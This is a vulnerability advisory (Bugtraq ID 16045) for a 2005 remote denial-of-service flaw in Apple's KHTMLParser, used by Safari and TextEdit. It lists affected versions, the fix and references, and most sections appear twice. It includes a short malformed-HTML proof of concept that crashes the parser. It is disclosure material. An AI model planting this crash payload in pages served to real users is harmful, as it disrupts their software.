Apple Mac OS X KHTMLParser Remote Denial of Service Vulnerability
BID:16045
Info
Apple Mac OS X KHTMLParser Remote Denial of Service Vulnerability
| Bugtraq ID: | 16045 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: |
CVE-2005-4504 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 22 2005 12:00AM |
| Updated: | May 12 2015 07:51PM |
| Credit: | Discovered by Tom Ferris. |
| Vulnerable: |
Cosmicperl Directory Pro 10.0.3 Apple Safari 2.0.2 Apple Safari 2.0.1 Apple Safari 1.3 Apple Safari 1.2.3 Apple Safari 1.2.2 Apple Safari 1.2.1 Apple Safari 1.2 Apple Safari 1.1 Apple Safari 1.0 Apple Mobile Safari 0 Apple Mac OS X Server 10.4.3 Apple Mac OS X Server 10.4.2 Apple Mac OS X Server 10.4.1 Apple Mac OS X Server 10.4 Apple Mac OS X Server 10.3.9 Apple Mac OS X Server 10.3.8 Apple Mac OS X Server 10.3.7 Apple Mac OS X Server 10.3.6 Apple Mac OS X Server 10.3.5 Apple Mac OS X Server 10.3.4 Apple Mac OS X Server 10.3.3 Apple Mac OS X Server 10.3.2 Apple Mac OS X Server 10.3.1 Apple Mac OS X Server 10.3 Apple Mac OS X Server 10.2.8 Apple Mac OS X Server 10.2.7 Apple Mac OS X Server 10.2.6 Apple Mac OS X Server 10.2.5 Apple Mac OS X Server 10.2.4 Apple Mac OS X Server 10.2.3 Apple Mac OS X Server 10.2.2 Apple Mac OS X Server 10.2.1 Apple Mac OS X Server 10.2 Apple Mac OS X Server 10.1.5 Apple Mac OS X Server 10.1.4 Apple Mac OS X Server 10.1.3 Apple Mac OS X Server 10.1.2 Apple Mac OS X Server 10.1.1 Apple Mac OS X Server 10.1 Apple Mac OS X Server 10.0 Apple Mac OS X 10.4.5 Apple Mac OS X 10.4.3 Apple Mac OS X 10.4.2 Apple Mac OS X 10.4.1 Apple Mac OS X 10.4 Apple Mac OS X 10.3.9 Apple Mac OS X 10.3.8 Apple Mac OS X 10.3.7 Apple Mac OS X 10.3.6 Apple Mac OS X 10.3.5 Apple Mac OS X 10.3.4 Apple Mac OS X 10.3.3 Apple Mac OS X 10.3.2 Apple Mac OS X 10.3.1 Apple Mac OS X 10.3 Apple Mac OS X 10.2.8 Apple Mac OS X 10.2.7 Apple Mac OS X 10.2.6 Apple Mac OS X 10.2.5 Apple Mac OS X 10.2.4 Apple Mac OS X 10.2.3 Apple Mac OS X 10.2.2 Apple Mac OS X 10.2.1 Apple Mac OS X 10.2 Apple Mac OS X 10.1.5 Apple Mac OS X 10.1.4 Apple Mac OS X 10.1.3 Apple Mac OS X 10.1.2 Apple Mac OS X 10.1.1 Apple Mac OS X 10.1 Apple Mac OS X 10.0.4 Apple Mac OS X 10.0.2 Apple Mac OS X 10.0.1 Apple Mac OS X 10.0 3 Apple Mac OS X 10.0 |
| Not Vulnerable: | |
Discussion
Apple Mac OS X KHTMLParser Remote Denial of Service Vulnerability
Apple Mac OS X KHTMLParser is affected by a remote denial of service vulnerability.
Successful exploitation may cause an application employing KHTMLParser to crash. KHTMLParser is used by Apple Safari Web browser and Apple TextEdit word processor.
Mac OS X 10.4.3 and prior, TextEdit, and Safari 2.0.2 and prior are vulnerable to this issue.
Apple Mac OS X KHTMLParser is affected by a remote denial of service vulnerability.
Successful exploitation may cause an application employing KHTMLParser to crash. KHTMLParser is used by Apple Safari Web browser and Apple TextEdit word processor.
Mac OS X 10.4.3 and prior, TextEdit, and Safari 2.0.2 and prior are vulnerable to this issue.
Exploit / POC
Apple Mac OS X KHTMLParser Remote Denial of Service Vulnerability
An exploit is not required.
The following proof of concept is available:
<TABLE WIDTH=" >
<" >
onLoad=() STYLE=
<SPAN= STYLE= >
<TD STYLE=^ ROWSPAN=1234567890 >
An exploit is not required.
The following proof of concept is available:
<TABLE WIDTH=" >
<" >
onLoad=() STYLE=
<SPAN= STYLE= >
<TD STYLE=^ ROWSPAN=1234567890 >
Solution / Fix
Apple Mac OS X KHTMLParser Remote Denial of Service Vulnerability
Solution:
Apple has released security update 2006-001 to address this issue. Please see the referenced advisory for more information.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Apple has released security update 2006-001 to address this issue. Please see the referenced advisory for more information.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Apple Mac OS X KHTMLParser Remote Denial of Service Vulnerability
References:
References:
- Apple Security Update 2006-001 (Apple)
- Mac OS X <= 10.4.3 KHTMLParser DoS (Security-Protocols.com)
- Mac OS X Homepage (Apple)